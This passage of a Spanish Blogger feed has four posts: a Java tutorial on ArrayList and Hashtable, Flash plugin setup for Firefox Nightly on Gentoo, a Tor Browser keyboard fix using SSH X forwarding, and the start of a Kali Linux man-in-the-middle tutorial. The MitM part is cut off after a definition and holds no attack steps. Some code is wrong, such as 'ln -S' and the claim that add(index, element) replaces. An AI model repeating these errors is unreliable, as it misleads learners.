&lt;b&gt;Integer&amp;nbsp; elementos[] = new Integer[10];&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Pero si quisiéramos o mejor dicho si no supiéramos cuantos elementos va a tener el arreglo como le haríamos?&lt;br /&gt;
&lt;br /&gt;
Aquí es donde entra &lt;b&gt;ArrayList&lt;/b&gt; lo que seria como una simple lista en lenguajes como python o ruby.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Listas&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Para usar &lt;b&gt;ArrayList&lt;/b&gt; tenemos que importarlo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;import java.util.ArrayList;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Su constructor es este:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;ArrayList elementos = new ArrayList();&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
De esta manera seria idéntico a un lenguaje de alto nivel(fácil) crear una lista,a lo que me refiero es que podemos crear una lista de distintos tipos de datos,int,string,float,etc a diferencia de lo que seria un vector de un solo tipo de dato:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Para añadir un elemento usamos el método &lt;b&gt;add&lt;/b&gt; pasándole como parámetro el dato a usar,por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;elementos.add(&quot;Hola Mundo&quot;); // String&lt;br /&gt;
&lt;br /&gt;
elementos.add(10); // int&lt;br /&gt;
&lt;br /&gt;
elementos.add(&#39;a&#39;); // char&lt;br /&gt;
&lt;br /&gt;
Bien,aun asi cuando los llamemos se convertiran a un tipo envuelto:&lt;br /&gt;
&lt;br /&gt;
int a Interger&lt;br /&gt;
&lt;br /&gt;
char a Character // etc&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Aun así no es muy recomendable usar este tipo de listas(con datos de muchos tipos),lo recomendable es usar un dato de un solo tipo ya que incluso el compilador muestra un error.&lt;br /&gt;
&lt;br /&gt;
Para definir el tipo de datos que vamos a usar lo añadimos al lado del constructor entre etiquetas:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;ArrayList&lt;tipo&gt; arreglo = new ArrayList&lt;tipo&gt;();&lt;/tipo&gt;&lt;/tipo&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
En donde tipo usamos un tipo envuelto,por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;ArrayList&lt;integer&gt; arreglo = new ArrayList&lt;integer&gt;();&lt;/integer&gt;&lt;/integer&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Primero vamos a ver los métodos de agregar y de obtener:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;arreglo.add(10);&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;b&gt;arreglo.add(120);&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
Ya hemos comentado el método &lt;b&gt;add&lt;/b&gt;,para obtener un elemento del arreglo usamos el método &lt;b&gt;get&lt;/b&gt; y le pasamos como parámetro el índice(comienza a contar desde 0) del elemento:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;arreglo.get(10);&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Si queremos ver el tamaño de un arreglo usamos el método &lt;b&gt;size&lt;/b&gt; que nos devuelve un int,por ejemplo para recorrer los elementos de un &lt;b&gt;array&lt;/b&gt;:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
for (int i = 0;i &amp;lt; arreglo.size();i++)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(arreglo.get(i));&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Antes de ver las otras funciones podemos ver que añadir tiene otra función,la cual es diferente,mientras el &lt;b&gt;add&lt;/b&gt; normal &quot;apila&quot; los datos uno sobre otro,este otro &lt;b&gt;add&lt;/b&gt; puede añadir un dato en cierta posición:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;arreglo.add(posición,elemento);&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Eso seria como un remplazar.&lt;br /&gt;
&lt;br /&gt;
Bien ahora vamos a ver las formas de iterar los elementos de un array,forma uno:&lt;br /&gt;
&lt;br /&gt;
Esta ya la vimos:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
for (int i = 0;i &amp;lt; arreglo.size();i++)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(arreglo.get(i));&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Forma dos:&lt;br /&gt;
&lt;br /&gt;
Con un bucle foreach,donde &lt;b&gt;Integer&lt;/b&gt; es el tipo de Objeto.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;for (Integer x: arreglo) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(x);&lt;br /&gt;
}&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Forma tres con un &lt;b&gt;Iterator&lt;/b&gt;,donde &lt;b&gt;Integer&lt;/b&gt; no es el tipo de objeto.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;import java.util.Iterator;&lt;br /&gt;
&lt;br /&gt;
Iterator&lt;integer&gt; i = arreglo.iterator();&lt;br /&gt;
&lt;br /&gt;
while(i.hasNext()) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(i.next());&lt;br /&gt;
}&lt;/integer&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Bien que mas podemos hacer?&lt;br /&gt;
&lt;br /&gt;
Tenemos mas funciones:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
arreglo.clear(); // Limpia el array(lo resetea)&lt;br /&gt;
&lt;br /&gt;
arreglo.contains(elemento); // Devuelve true si existe el elemento en el array&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
arreglo.remove(indice); // elimina un elemento basado en el índice&lt;br /&gt;
&lt;br /&gt;
arreglo.remove(elemento); // elimina un elemento basado en el elemento&lt;br /&gt;
&lt;br /&gt;
arreglo.toArray(); // Devuelve un array (Object[])&lt;br /&gt;
&lt;br /&gt;
arreglo.indexOf(elemento); // Devuelve el índice del elemento contando desde la izquierda&lt;br /&gt;
&lt;br /&gt;
arreglo.lastIndexOf(elemento); // Devuelve el índice del elemento contando desde la derecha&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Hashes&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Ahora vamos a ver como usar los &lt;i&gt;&lt;b&gt;arreglos asociativos&lt;/b&gt;&lt;/i&gt; o&lt;i&gt; has tables&lt;/i&gt;,los cuales se usan igual que las listas solo que se usan con clave valor en vez de índice valor:&lt;br /&gt;
&lt;br /&gt;
Para definir un &lt;b&gt;Hashtable&lt;/b&gt;,primero lo importamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;import java.util.Hashtable;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Ahora usamos este constructor:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;Hashtable&lt;objeto objeto=&quot;&quot;&gt; hash;&lt;/objeto&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Los dos objetos son los que usaremos para clave y valor,se recomienda usar &lt;b&gt;String&lt;/b&gt; para clave,por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Hashtable&lt;string integer=&quot;&quot;&gt; hash = new Hashtable&lt;string integer=&quot;&quot;&gt;();&lt;/string&gt;&lt;/string&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Ahora vamos a ver como añadir elementos:&lt;br /&gt;
&lt;br /&gt;
Usamos:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;hash.put(clave,valor);&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Por ejemplo usando el hash de arriba:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;hash.put(&quot;uno&quot;,1);&lt;br /&gt;
hash.put(&quot;diez&quot;,10);&lt;/b&gt;&lt;br /&gt;
Ahora tenemos dos elementos en el hash,como los recuperamos?&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;hash.get(clave);&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;hash.get(&quot;uno&quot;); // devuelve 1&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Tenemos funciones similares al de &lt;b&gt;ArrayList&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;hash.clear(); // Resetea el hash&lt;br /&gt;
&lt;br /&gt;
hash.containsKey(clave); // Devuelve true si contiene la clave&lt;br /&gt;
&lt;br /&gt;
hash.containsValue(valor); // Devuelve true si contiene el valor&lt;br /&gt;
&lt;br /&gt;
hash.isEmpty(); // Devuelve true si esta vacio&lt;br /&gt;
&lt;br /&gt;
hash.remove(clave); // Quita el objeto basado en clave&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Como iteramos?&lt;br /&gt;
&lt;br /&gt;
Aquí es un poco mas complicado ya que no podemos usar índices,pero aun así tenemos algunas opciones:&lt;br /&gt;
&lt;br /&gt;
La primera opciones es usando &lt;b&gt;Collection&lt;/b&gt; ,primero importamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;import java.util.Collection;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Ahora creamos un objeto &lt;b&gt;Collection&lt;/b&gt;,esta nos devolverá los valores:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Collection&lt;integer&gt;&amp;nbsp; col = hash.values(); // En donde Integer es el tipo de objeto de los valores&lt;/integer&gt;&lt;/b&gt;&lt;br /&gt;
Luego creamos un &lt;b&gt;Iterator&lt;/b&gt;,como con ArrayList y iteramos:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Iterator&lt;integer&gt; i = col.iterator();&lt;br /&gt;
while(i.hasNext()) {&lt;br /&gt;
&amp;nbsp; System.out.println(i.next());&lt;br /&gt;
}&lt;/integer&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Forma 2:&lt;br /&gt;
&lt;br /&gt;
Esta otra forma es mas sutil ya que podremos usar las llaves y los valores,es usando &lt;b&gt;Enumeration&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;import java.util.Enumeration;&lt;br /&gt;
&lt;br /&gt;
Enumeration&lt;string&gt; en = hash.keys(); // En donde String es el tipo de Objeto de las claves&lt;br /&gt;
&lt;br /&gt;
Bien ahora solo iteramos:&lt;br /&gt;
&lt;br /&gt;
while(en.hasMoreElements()) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String key = en.nextElement();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.printf(&quot;Clave : %s Valor : %s\n&quot;,key,hash.get(key));&lt;br /&gt;
}&lt;/string&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;/b&gt; &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI-8XWjfH6h77L82D8CR98-FNP6iNszTTbdDSSsy4kiHaN2v6JITcwc7BcAglMP-pRlWcCyouMrvc3JPE9mRRlkudL4JOH3eiHtN6YBO4H_yXDVW2jryfBBtxhMukUreIUcS1rdT8p4lut/s1600/arraylist.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI-8XWjfH6h77L82D8CR98-FNP6iNszTTbdDSSsy4kiHaN2v6JITcwc7BcAglMP-pRlWcCyouMrvc3JPE9mRRlkudL4JOH3eiHtN6YBO4H_yXDVW2jryfBBtxhMukUreIUcS1rdT8p4lut/s1600/arraylist.png&quot; height=&quot;360&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Eso es todo :D&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/5314257818832603329/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/04/tutorial-java-en-linux-basico-8.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/5314257818832603329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/5314257818832603329'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/04/tutorial-java-en-linux-basico-8.html' title='Tutorial Java en Linux Basico 8'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI-8XWjfH6h77L82D8CR98-FNP6iNszTTbdDSSsy4kiHaN2v6JITcwc7BcAglMP-pRlWcCyouMrvc3JPE9mRRlkudL4JOH3eiHtN6YBO4H_yXDVW2jryfBBtxhMukUreIUcS1rdT8p4lut/s72-c/arraylist.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-5245883633787766472</id><published>2014-03-05T19:09:00.000-06:00</published><updated>2014-03-05T19:09:15.423-06:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="como reconocer"/><category scheme="http://www.blogger.com/atom/ns#" term="firefox"/><category scheme="http://www.blogger.com/atom/ns#" term="flash"/><category scheme="http://www.blogger.com/atom/ns#" term="gentoo"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><title type='text'>Como usar adobe flash en Firefox Nightly Gentoo</title><content type='html'>Si han descargado firefox en su versión&amp;nbsp; Nightly sabran que viene listo para usarse,como son conocidos los paquetes tar,bien estos paquetes no linkean los .so de nuestras librerias,asi que no reconoce el flash:&lt;br /&gt;
&lt;br /&gt;
Para hacerlo solo basta copiar el&lt;b&gt; libflashplayer.so&lt;/b&gt; a la carpeta de plugins de mozilla:&lt;br /&gt;
&lt;br /&gt;
Primero necesitamos tener instalado adobe-flash(o pueden bajar el tar desde su sitio):&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;a href=&quot;http://get.adobe.com/es/flashplayer/&quot; target=&quot;_blank&quot;&gt;Enlace&lt;/a&gt;&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
Por emerge:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo emerge -av www-plugins/adobe-flash&lt;/b&gt;&lt;/blockquote&gt;
Ahora solo tecleamos esto:&lt;br /&gt;
&lt;br /&gt;
Creamos el directorio:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;mkdir -p ~/.mozilla/plugins/&lt;/b&gt;&lt;/blockquote&gt;
Linkeamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;su&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;ln -S /usr/lib/nsbrowser/plugins/libflashplayer.so ~/.mozilla/plugins/&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Y cambiamos los permisos de usuario:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;chown &lt;span style=&quot;color: red;&quot;&gt;tu_usuario&lt;/span&gt;&amp;nbsp;&amp;nbsp;~/.mozilla/plugins/libflashplayer.so&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
Eso es todo:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj47XlhpKhIFKdH5NqdqlPjizfZUr813Cr34HPS9Qt4rY8w8nlpAy1cZs6NxL_2V5y7NFtIw0yjYGwQNXo_q_aMMWylL0EMgFqAGhv1vKkMllEm0nZ3k0YzmPEUIqqQRBY8hvgZQjHF7qSh/s1600/flash+en+gentoo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj47XlhpKhIFKdH5NqdqlPjizfZUr813Cr34HPS9Qt4rY8w8nlpAy1cZs6NxL_2V5y7NFtIw0yjYGwQNXo_q_aMMWylL0EMgFqAGhv1vKkMllEm0nZ3k0YzmPEUIqqQRBY8hvgZQjHF7qSh/s1600/flash+en+gentoo.png&quot; height=&quot;358&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/5245883633787766472/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/03/como-usar-adobe-flash-en-firefox.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/5245883633787766472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/5245883633787766472'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/03/como-usar-adobe-flash-en-firefox.html' title='Como usar adobe flash en Firefox Nightly Gentoo'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj47XlhpKhIFKdH5NqdqlPjizfZUr813Cr34HPS9Qt4rY8w8nlpAy1cZs6NxL_2V5y7NFtIw0yjYGwQNXo_q_aMMWylL0EMgFqAGhv1vKkMllEm0nZ3k0YzmPEUIqqQRBY8hvgZQjHF7qSh/s72-c/flash+en+gentoo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-6433871865345840644</id><published>2014-02-18T12:20:00.000-06:00</published><updated>2014-05-22T16:48:08.798-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="13.10"/><category scheme="http://www.blogger.com/atom/ns#" term="error"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="ssh"/><category scheme="http://www.blogger.com/atom/ns#" term="tor"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Torbrowser no detecta teclas en Ubuntu 13.10</title><content type='html'>Hace poco queria usar Tor&amp;nbsp;browser,y no me detecto las teclas por un error de IBUS,este :&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;IBUS-WARNING **: Events queue growing too big, will start to drop.&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Bueno lo que podemos hacer es un X11 forwarding,para ejecutar Tor,esto es muy sencillo:&lt;br /&gt;
&lt;br /&gt;
Necesitamos tener instalado opensshserver:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-get install openssh-server&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
Ahora en la carpeta donde esta el script que inicia tor(&lt;b&gt;start-tor-browser&lt;/b&gt;):&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;ssh -X localhost $PWD/start-tor-browser&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Así de sencillo:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGlZcHtN_weccEZgtgWiaYdXvrxvooIx7FuahjQOvSHrw95vcfOw35i9nexWPc-Qw9a2lJxQgo6BZDvQUe4b2CAbODprK2HosnJvpwiJmlhWD6rkZH6okCtEw69p_QbPfr4zgV_juMufVb/s1600/tor+error+ubuntu+13.10.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGlZcHtN_weccEZgtgWiaYdXvrxvooIx7FuahjQOvSHrw95vcfOw35i9nexWPc-Qw9a2lJxQgo6BZDvQUe4b2CAbODprK2HosnJvpwiJmlhWD6rkZH6okCtEw69p_QbPfr4zgV_juMufVb/s1600/tor+error+ubuntu+13.10.png&quot; height=&quot;224&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Tal vez con una actualización ya no ocurra este error.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px; text-align: center;&quot;&gt;
&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; color: red;&quot;&gt;Y recuerda si te&amp;nbsp;sirvió&amp;nbsp;y tienes cuenta de google dale google aya abajo&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px; text-align: center;&quot;&gt;
&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0F-9PQipz1RA9lbTOXdnbLHjNdfneDiMPiym1nCp9wkdXtAlDZqVG-fWvh_CTEAKVvQDiow-VwIpaJcQaS0-yhUcnztTVOAoCGQlXxIrewbCcwzf32jt2C3qyZ-qcgXDq4CYYpXXZHI/s1600/icon_plusone.gif&quot; imageanchor=&quot;1&quot; style=&quot;background-position: 0px 0px; box-sizing: border-box; color: #2a6496; margin-left: 1em; margin-right: 1em; outline: 0px;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0F-9PQipz1RA9lbTOXdnbLHjNdfneDiMPiym1nCp9wkdXtAlDZqVG-fWvh_CTEAKVvQDiow-VwIpaJcQaS0-yhUcnztTVOAoCGQlXxIrewbCcwzf32jt2C3qyZ-qcgXDq4CYYpXXZHI/s1600/icon_plusone.gif&quot; style=&quot;-webkit-box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; border: 1px solid rgb(237, 237, 237); box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; box-sizing: border-box; padding: 5px; position: relative; vertical-align: middle;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/6433871865345840644/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/02/torbrowser-no-detecta-teclas-en-ubuntu.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/6433871865345840644'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/6433871865345840644'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/02/torbrowser-no-detecta-teclas-en-ubuntu.html' title='Torbrowser no detecta teclas en Ubuntu 13.10'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGlZcHtN_weccEZgtgWiaYdXvrxvooIx7FuahjQOvSHrw95vcfOw35i9nexWPc-Qw9a2lJxQgo6BZDvQUe4b2CAbODprK2HosnJvpwiJmlhWD6rkZH6okCtEw69p_QbPfr4zgV_juMufVb/s72-c/tor+error+ubuntu+13.10.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-1096678726403901990</id><published>2014-02-14T14:24:00.001-06:00</published><updated>2014-05-22T16:49:12.613-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="kali"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="mitm"/><title type='text'>[Kali Linux] Efectuar MitM para ver urls</title><content type='html'>Como estoy haciendo una serie de tutoriales de pentest,no tanto en si pentest si no hasta ahora uno de spam otro de&amp;nbsp;&amp;nbsp;&lt;b&gt;information gathering &lt;/b&gt;otro de otra cosa,pero bueno se entiende el propósito,para que se entienda mejor y sea mas sencillo estas practicas recomiendo usar Kali Linux,puede ser Blackbuntu,BlackArch u otra distribución de Linux enfocada a la seguridad informatica. Yo en lo personal me gusta Kali pero en cualquier sistema Linux se pueden instalar los programas que aquí he mencionado y voy a mencionar aunque sea compilando,así que si no tienen las herramientas en su sistema y no tienen Kali Linux pueden buscar como instalar dicha herramienta en su sistema,sea Ubuntu,Arch,openSUSE,Gentoo,Fedora,etc.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Disclamer&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt; &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Este tutorial es con fines de obtener conocimiento sobre el tema a nivel basico,la ejecución del mismo esta bajo el criterio del leector.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Bien,este tutorial lo pueden efectuar incluso sobre su localhost asi que no hay mucho problema si no tienen una segunda maquina donde hacer las pruebas.&lt;br /&gt;
&lt;br /&gt;
Primero que nada que es MitM:&lt;br /&gt;
&lt;br /&gt;
En criptografía, un ataque man-in-the-middle o JANUS (MitM o intermediario, en español) es un ataque en el que el enemigo adquiere la capacidad de leer, insertar y modificar a voluntad, los mensajes entre dos partes sin que ninguna de ellas conozca que el enlace entre ellos ha sido violado. El atacante debe ser capaz de observar e interceptar mensajes entre las dos víctimas. El ataque MitM es particularmente significativo en el protocolo original de intercambio de claves de Diffie-Hellman, cuando éste se emplea sin autenticación.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Ataques:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
El ataque MitM puede incluir algunos de los siguientes subataques:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Intercepción de la comunicación (eavesdropping), incluyendo análisis del tráfico y posiblemente un ataque a partir de textos planos (plaintext) conocidos.&lt;/li&gt;
